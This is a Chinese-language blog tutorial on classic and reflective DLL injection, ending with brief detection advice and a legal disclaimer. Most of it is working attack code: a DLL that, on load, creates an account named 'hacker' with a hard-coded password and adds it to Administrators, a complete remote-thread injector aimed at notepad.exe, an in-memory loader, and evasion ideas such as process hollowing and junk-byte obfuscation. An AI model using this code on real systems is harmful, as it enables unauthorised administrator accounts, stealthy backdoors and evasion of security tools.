反射DLL注入技术深度解析与实战

2025-02-19 5 0

一、DLL注入技术基础

1.1 普通DLL注入原理

普通DLL注入通过操作目标进程内存空间,强制加载外部DLL文件。核心流程如下:

  1. 获取目标进程句柄OpenProcess

  2. 分配内存写入DLL路径VirtualAllocExWriteProcessMemory

  3. 创建远程线程执行加载CreateRemoteThread调用LoadLibrary

  4. 清理资源:释放内存并关闭句柄

技术局限

  • 依赖LoadLibrary等敏感API

  • 需要磁盘DLL文件落地

  • 容易被行为分析检测


二、普通DLL注入实战:添加系统用户

2.1 恶意DLL代码实现

#include <Windows.h>
#include <Lm.h>
#include <iostream>
#pragma comment(lib,"netapi32")
#include  <stdio.h>

void ExecutePayload() {
// 添加用户
USER_INFO_1 ui;
ui.usri1_name = L"hacker";
ui.usri1_password = L"P@ssw0rd123!";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_flags = UF_SCRIPT;

DWORD dwError;
NET_API_STATUS nStatus = NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);

if (nStatus == NERR_Success) {
// 添加到管理员组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = L"hacker";
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (nStatus == NERR_Success) {
std::wcout << L"用户添加并已加入管理员组成功!" << std::endl;
} else {
DWORD dwErr = GetLastError();
std::wcout << L"添加到管理员组失败, 错误代码: " << dwErr << std::endl;
}
} else {
DWORD dwErr = GetLastError();
std::wcout << L"添加用户失败, 错误代码: " << dwErr << std::endl;
}
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// 执行payload
ExecutePayload();
}
return TRUE;
}

代码解析:

  • NetUserAdd:Windows API函数,用于创建新用户

  • NetLocalGroupAddMembers:将用户添加到指定本地组

  • DllMain入口点:在DLL加载时触发恶意代码


2.2 注入器实现

这里要注意的一个问题,某些目标进程(如浏览器)可能具有更严格的沙箱机制或安全限制,阻止外部进程进行 DLL 注入或操作系统级别的更改。在这种情况下,即便你成功注入 DLL,它也可能无法执行特定操作,所以选的是notepad.exe进行注入

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindTargetProcess(LPCWSTR procName) {
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, procName) == 0) {
CloseHandle(hSnapshot);
return pe.th32ProcessID;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return 0;
}

bool InjectDLL(DWORD pid, LPCWSTR dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return false;

size_t pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR);

LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE);
if (!remoteMem) {
CloseHandle(hProcess);
return false;
}

if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, NULL)) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}

LPVOID loadLibAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)loadLibAddr, remoteMem, 0, NULL);

if (!hThread) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}

int main() {
DWORD pid = FindTargetProcess(L"notepad.exe");
if (pid == 0) {
std::cerr << "目标进程未找到" << std::endl;
return 1;
}

if (InjectDLL(pid, L"C:\\Users\\user\\Desktop\\test\\adduser.dll")) {
std::cout << "注入成功!" << std::endl;
}
else {
std::cerr << "注入失败! 错误代码: " << GetLastError() << std::endl;
}

return 0;
}

运行效果:

  1. 注入notepad.exe进程

  2. 创建用户hacker并设置密码

  3. 将用户添加到Administrators

  4. 验证命令:net user hacker

反射DLL注入技术深度解析与实战插图

三、反射DLL注入技术

3.1 反射DLL注入原理

  1. DLL 加载到内存中

    • 反射 DLL 注入会将 DLL 文件直接加载到内存中(通过读取 DLL 文件的字节流),并将其内容复制到进程的地址空间。
  2. 没有文件写入磁盘

    • 在反射 DLL 注入的过程中,DLL 的字节数据只在内存中存在,不会写入磁盘。所以,DLL 文件不会在目标系统的文件系统中留下任何痕迹。
  3. 内存中执行

    • DLL 的执行是通过在内存中手动触发 DLL 的入口点(如 DllMain)来完成的,不会通过操作系统的 LoadLibraryAPI,因此不需要将 DLL 文件“落地”到硬盘。

3.2对比传统的 DLL 注入

  • 传统 DLL 注入:通常会使用CreateRemoteThreadVirtualAllocEx等方法将 DLL 文件复制到目标进程的内存中,并执行它。这种方法可能会涉及将 DLL 文件保存到目标进程的虚拟内存中或直接调用系统的LoadLibrary函数。如果是基于文件的 DLL 注入,那么通常需要将 DLL 文件写入磁盘,这就可能留下文件痕迹。

  • 反射 DLL 注入:通过手动解析 PE 文件格式并将 DLL 加载到内存中,避免了将 DLL 文件写入硬盘。此方法只在内存中存在 DLL,因此不会有文件被保存到硬盘上。

3.3 反射 DLL 注入的优势

  • 隐蔽性强:由于 DLL 文件不需要写入磁盘,反射 DLL 注入技术比传统的 DLL 注入方式更加隐蔽,难以通过文件系统的扫描来发现。
  • 绕过文件系统监控:一些安全软件可能会检测 DLL 文件的创建、修改或删除,而反射 DLL 注入完全避免了这些操作,减少了被检测的风险。

3.4 反射 DLL 注入的限制:

尽管反射 DLL 注入在某些情况下具有较强的隐蔽性,但它也有一些潜在的挑战:

  1. 内存消耗:将 DLL 文件加载到内存中会占用进程的内存空间。
  2. 复杂性:手动解析 PE 文件并执行入口函数的过程比传统的 API 调用要复杂,需要更多的低级编程技巧。
  3. 安全性:反射 DLL 注入通常是绕过标准加载机制的技术,如果用于恶意目的,可能会引起法律和道德问题。

示例代码

#include <Windows.h>
#include <iostream>
#include <vector>
#include <string>

// 这是一个示例字节数组,代表你的 DLL 文件的内容。
// 在实际应用中,这个字节数组应该包含 DLL 文件的实际字节流。
// 可以通过工具(比如 xxd 或 Python)将 DLL 转换为字节数组。
const unsigned char reflectiveDll[] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
// 这里省略了大量字节,实际上你会有一个完整的 DLL 文件字节流
0x00, 0x00 // DLL 结束标志(仅为示例)
};

// 手动解析 PE 文件并获取函数地址
void* GetProcAddressManual(HMODULE hModule, const char* functionName) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);

// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions);
DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames);
WORD* addressOfOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals);

for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) {
const char* funcName = (const char*)((BYTE*)hModule + addressOfNames[i]);
if (strcmp(funcName, functionName) == 0) {
WORD ordinal = addressOfOrdinals[i];
DWORD functionRVA = addressOfFunctions[ordinal];
return (void*)((BYTE*)hModule + functionRVA);
}
}
return nullptr;
}

// 加载 DLL 到内存
LPVOID LoadDllInMemory(const unsigned char* dllData, size_t dllSize) {
// 分配内存空间
LPVOID pDllBase = VirtualAlloc(NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pDllBase) {
std::cerr << "无法分配内存" << std::endl;
return nullptr;
}

// 将 DLL 数据写入到内存
memcpy(pDllBase, dllData, dllSize);

// 获取该 DLL 的入口地址
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)pDllBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pDllBase + dosHeader->e_lfanew);

// 获取 DLL 的入口点地址
typedef BOOL (APIENTRY* DllMain_t)(HMODULE, DWORD, LPVOID);
DllMain_t DllMainFunc = (DllMain_t)((BYTE*)pDllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);

// 执行 DLL 的入口
DllMainFunc((HMODULE)pDllBase, DLL_PROCESS_ATTACH, NULL);

return pDllBase;
}

int main() {
// 获取 DLL 数据的大小
size_t dllSize = sizeof(reflectiveDll);

// 加载 DLL 到内存
LPVOID dllBase = LoadDllInMemory(reflectiveDll, dllSize);
if (!dllBase) {
std::cerr << "加载 DLL 到内存失败" << std::endl;
return -1;
}

std::cout << "反射 DLL 成功加载并执行!" << std::endl;
return 0;
}

代码解析:

  1. 嵌入 DLL 字节数组

    • 在代码中,我们将 DLL 文件的字节内容(如 reflective.dll)直接嵌入到代码中,成为一个 unsigned char数组(reflectiveDll)。在实际应用中,你可以使用工具(例如 xxdPython或其他)将 DLL 文件转换成一个字节数组,并将其嵌入到程序中。
  2. 内存加载 DLL

    • 使用 VirtualAlloc分配内存空间,接着将嵌入的 DLL 字节流复制到分配的内存空间。
  3. 执行 DLL 的入口函数

    • 从内存中手动解析 PE 文件的头部信息,并获取 DLL 的入口函数 DllMain
    • 调用 DllMain进行初始化,以便执行 DLL 的代码。
  4. 避免文件落地

    • 在这种实现中,没有涉及任何磁盘操作。整个 DLL 加载和执行过程都在内存中完成,因此没有任何 DLL 文件会被写入磁盘。

如何获取 DLL 的字节数组:

使用 Python

with open('reflective.dll', 'rb') as f:
    bytes_data = f.read()
    print("const unsigned char reflectiveDll[] = {")
    print(", ".join(f"0x{b:02X}" for b in bytes_data))
    print("};")

这会将 DLL 文件内容以 C 数组的形式输出

四、技术对比分析

特性 普通DLL注入 反射DLL注入
文件落地 需要磁盘DLL文件 完全内存加载,无文件痕迹
API依赖 依赖LoadLibrary等敏感API 无标准API调用,自主加载
检测难度 易被静态扫描和行为分析检测 对抗内存扫描困难
实现复杂度 简单(约50行核心代码) 复杂(需处理PE格式和重定位)
适用场景 常规渗透测试 APT攻击、持久化后门
内存特征 存在标准DLL映射特征 内存结构异常但无特征字符串

五、防御与检测方案

5.1 普通DLL注入检测

  • API监控:钩取CreateRemoteThreadLoadLibrary

  • 进程内存扫描:查找可疑DLL路径字符串

  • 注册表监控:检查AppInit_DLLs等键值

5.2 反射DLL注入检测

  • 内存异常检测

    • 查找无对应模块的可执行内存区域

    • 检测PE头特征但无文件映射的内存页

  • 行为分析

    • 监控非常规内存分配模式(大块RWX内存)

    • 分析线程启动地址是否在已知模块外

  • 硬件辅助

    • 使用Intel CET监控控制流完整性

    • 基于VT-x的虚拟化监控

六、技术演进方向

  1. 模块化反射加载

    // 分阶段加载示例
    void StageLoader() {
        LoadEncryptedPayload();  // 解密核心代码
        FixImports();            // 动态解析依赖
        Execute();               // 触发最终逻辑
    
  2. 结合进程挖空

    • 注入合法进程(如svchost.exe)并替换其内存内容

    • 利用.NET CLR加载机制实现无文件注入

  3. 对抗内存扫描

    ; 代码混淆示例
    jmp real_start
    db 0xE8, 0x03, 0x00, 0x00, 0x00  ; 垃圾字节
    real_start:
        mov eax, [esp+4]
        and eax, 0xFFFFF000

七、法律与伦理声明

  1. 本文所述技术仅限用于授权安全测试防御技术研究

  2. 未经许可对他人系统实施注入攻击属于违法行为


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Web应用&企业产权&域名资产&网络空间&威胁情报
【CTF】Python Jail沙箱逃逸手法总结 PyJail All in One
风投巨头Insight Partners遭遇网络攻击,敏感数据或泄露
网络犯罪转向社交媒体,攻击量达历史新高
雅虎数据泄露事件:黑客涉嫌兜售60.2万个电子邮件账户
黑客如何利用提示词工程操纵AI代理?

发布评论